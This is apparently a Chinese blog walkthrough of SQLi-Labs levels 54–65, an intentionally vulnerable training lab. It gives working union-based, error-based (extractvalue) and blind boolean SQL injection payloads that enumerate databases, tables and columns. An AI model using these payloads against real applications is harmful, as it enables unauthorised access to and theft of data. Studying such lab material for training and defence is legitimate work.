SQLi_Labs-5.Challenges

admin 2023年1月19日23:10:13评论38 views字数 2643阅读8分48秒阅读模式

5.Challenges

Less-54

如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

?id=-1%27%20union%20select%201,2,database() --+ //查库

SQLi_Labs-5.Challenges

?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+ //查表

SQLi_Labs-5.Challenges

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2P0C18GOWL' %23 //查列

SQLi_Labs-5.Challenges

?id=-1' union select 1,group_concat(tryy),3 from 2P0C18GOWL%23 //查数据

SQLi_Labs-5.Challenges

Less-55

这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合

?id=1'%23 //错误 ?id=1')%23 //错误 ?id=1)%23 //正确

尝试之后发现是用)闭合

?id=-1) union select 1,database(),3%23

SQLi_Labs-5.Challenges

Less-56

这几关都差不多,首先也是尝试闭合

?id=1')%23 //成功闭合

?id=-1') union select 1,database(),3%23

SQLi_Labs-5.Challenges

Less-57

这关是双引号闭合的

?id=-1" union select 1,database(),3%23

SQLi_Labs-5.Challenges

Less-58

查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。

?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

SQLi_Labs-5.Challenges

Less-59

SQL语句:

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

?id=1 and extractvalue(1, concat(0x5c, (select database())))%23

SQLi_Labs-5.Challenges

Less-60

?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

SQLi_Labs-5.Challenges

Less-61

?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

SQLi_Labs-5.Challenges

Less-62

接下来几关要在130次内完成盲注。只不过有次数限制,很明显不能去爆破

?id=1') and (length(database())=10)%23

?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #

SQLi_Labs-5.Challenges

Less-63

这关跟上一关一样,唯一的区别在于需要使用单引号闭合

?id=1' and (length(database())=10)%23

?id=1' and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

SQLi_Labs-5.Challenges

不再赘述!

Less-64

这关跟上一关一样,唯一的区别在于需要使用括号闭合

?id=1)) and (length(database())=10)%23

?id=1)) and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

SQLi_Labs-5.Challenges

不再赘述!

Less-65

?id=1") and (length(database())=10)%23

?id=1") and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #

SQLi_Labs-5.Challenges

这几关性质都一样,只不过闭合语句不同,不再赘述

SQL语句:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。


博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


原文始发于微信公众号(儒道易行):SQLi_Labs-5.Challenges

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月19日23:10:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLi_Labs-5.Challengeshttp://cn-sec.com/archives/1521954.html

发表评论

匿名网友 填写信息